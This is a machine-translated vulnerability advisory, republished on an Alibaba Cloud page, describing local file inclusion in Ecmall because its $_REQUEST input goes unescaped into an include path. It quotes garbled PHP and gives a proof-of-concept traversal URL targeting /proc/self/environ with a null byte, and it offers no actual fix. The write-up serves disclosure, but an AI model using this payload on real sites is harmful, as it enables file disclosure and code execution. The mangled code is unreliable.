Ecmall full-version local File Inclusion Vulnerability and repair (REQUEST content is not protected)

Source: Internet
Author: User

Outside: previous one: http://www.bkjia.com/Article/200903/36736.html

Lu renjia

Brief description: Ecmall makes a serious error by default. It bypasses the protection logic in the system and can contain arbitrary files for php code execution.
Details: In eccore/ecmall. php

If (! Get_magic_quotes_gpc ())

{

$ _ GET = addslashes_deep ($ _ GET );

$ _ POST = addslashes_deep ($ _ POST );

$ _ COOKIE = addslashes_deep ($ _ COOKIE );

}

 

/* Request forwarding */

$ Default_app = $ config ['default _ app']? $ Config ['default _ app']: 'default ';

$ Default_act = $ config ['default _ act ']? $ Config ['default _ act ']: 'index ';

 

$ App = isset ($ _ REQUEST ['app'])? Trim ($ _ REQUEST ['app']): $ default_app;

$ Act = isset ($ _ REQUEST ['ac'])? Trim ($ _ REQUEST ['act']): $ default_act;

$ App_file = $ config ['app _ root']. "/{$ app}. app. php ";

If (! Is_file ($ app_file ))

{

Exit ('missing controller ');

}
It seems that the impact of GPC on the program is forced to protect, but the content of the REQUEST is not protected, which can include code execution.


Proof of vulnerability:
Www.2cto.com/index. php? App = ../proc/self/environ % 002cto.com
Solution: No, no

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.